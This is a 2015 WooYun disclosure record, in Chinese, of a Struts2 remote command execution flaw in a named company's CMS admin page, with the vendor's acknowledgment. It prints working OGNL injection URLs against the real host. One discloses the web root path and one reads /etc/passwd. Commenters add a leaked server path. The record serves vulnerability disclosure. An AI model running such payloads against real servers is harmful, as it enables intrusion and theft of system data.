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缺陷编号:wooyun-2015-0143117

漏洞标题:郑州威科姆科技股份有限公司某处存在Struts2远程命令执行漏洞(可Getshell)

相关厂商:郑州威科姆科技股份有限公司

漏洞作者: 慢慢

提交时间:2015-09-24 14:05

修复时间:2015-11-08 15:14

公开时间:2015-11-08 15:14

漏洞类型:命令执行

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

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漏洞详情

披露状态:

2015-09-24: 细节已通知厂商并且等待厂商处理中
2015-09-24: 厂商已经确认,细节仅向厂商公开
2015-10-04: 细节向核心白帽子及相关领域专家公开
2015-10-14: 细节向普通白帽子公开
2015-10-24: 细节向实习白帽子公开
2015-11-08: 细节向公众公开

简要描述:

郑州威科姆科技股份有限公司某处存在Struts2远程命令执行漏洞。

详细说明:

地址:http://www.zzvcom.com/cms/admin/index.action
1. 爆网站路径

http://www.zzvcom.com/cms/admin/index.action?redirect%3A%24%7B%23req%3D%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletRequest%27%29%2C%23a%3D%23req.getSession%28%29%2C%23b%3D%23a.getServletContext%28%29%2C%23c%3D%23b.getRealPath%28%22%2F%22%29%2C%23matt%3D%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27%29%2C%23matt.getWriter%28%29.println%28%23c%29%2C%23matt.getWriter%28%29.flush%28%29%2C%23matt.getWriter%28%29.close%28%29%7D


1.gif


2. 执行任意命令

http://www.zzvcom.com/cms/admin/index.action?redirect:${%23a%3d(new java.lang.ProcessBuilder(new java.lang.String[]{'cat','/etc/passwd'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew java.io.InputStreamReader(%23b),%23d%3dnew java.io.BufferedReader(%23c),%23e%3dnew char[50000],%23d.read(%23e),%23matt%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),%23matt.getWriter().println(%23e),%23matt.getWriter().flush(),%23matt.getWriter().close()}%23matt.getWriter%28%29.flush%28%29%2C%23matt.getWriter%28%29.close%28%29%7D


2.gif


3.gif

漏洞证明:

地址:http://www.zzvcom.com/cms/admin/index.action
1. 爆网站路径

http://www.zzvcom.com/cms/admin/index.action?redirect%3A%24%7B%23req%3D%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletRequest%27%29%2C%23a%3D%23req.getSession%28%29%2C%23b%3D%23a.getServletContext%28%29%2C%23c%3D%23b.getRealPath%28%22%2F%22%29%2C%23matt%3D%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27%29%2C%23matt.getWriter%28%29.println%28%23c%29%2C%23matt.getWriter%28%29.flush%28%29%2C%23matt.getWriter%28%29.close%28%29%7D


1.gif


2. 执行任意命令

http://www.zzvcom.com/cms/admin/index.action?redirect:${%23a%3d(new java.lang.ProcessBuilder(new java.lang.String[]{'cat','/etc/passwd'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew java.io.InputStreamReader(%23b),%23d%3dnew java.io.BufferedReader(%23c),%23e%3dnew char[50000],%23d.read(%23e),%23matt%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),%23matt.getWriter().println(%23e),%23matt.getWriter().flush(),%23matt.getWriter().close()}%23matt.getWriter%28%29.flush%28%29%2C%23matt.getWriter%28%29.close%28%29%7D


2.gif


3.gif

修复方案:

升级struts2。

版权声明:转载请注明来源 慢慢@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:20

确认时间:2015-09-24 15:12

厂商回复:

正在加紧修复,多谢大侠提醒。

最新状态:

暂无


漏洞评价:

评论

  1. 2015-09-24 15:07 | 0gucci ( 普通白帽子 | Rank:166 漏洞数:33 | 深度值得深入)

    http://www.zzvcom.com/cms/admin/login.action - -

  2. 2015-09-24 15:08 | 0gucci ( 普通白帽子 | Rank:166 漏洞数:33 | 深度值得深入)

    /home/jboss/server/default/./deploy/cms.war/home/jboss/server/default/web/ROOT.war/

  3. 2015-09-27 00:51 | sqlfeng ( 普通白帽子 | Rank:198 漏洞数:34 | 不会弹吉它的黑客不是好歌手)

    @0gucci http://www.zzvcom.com/text.txt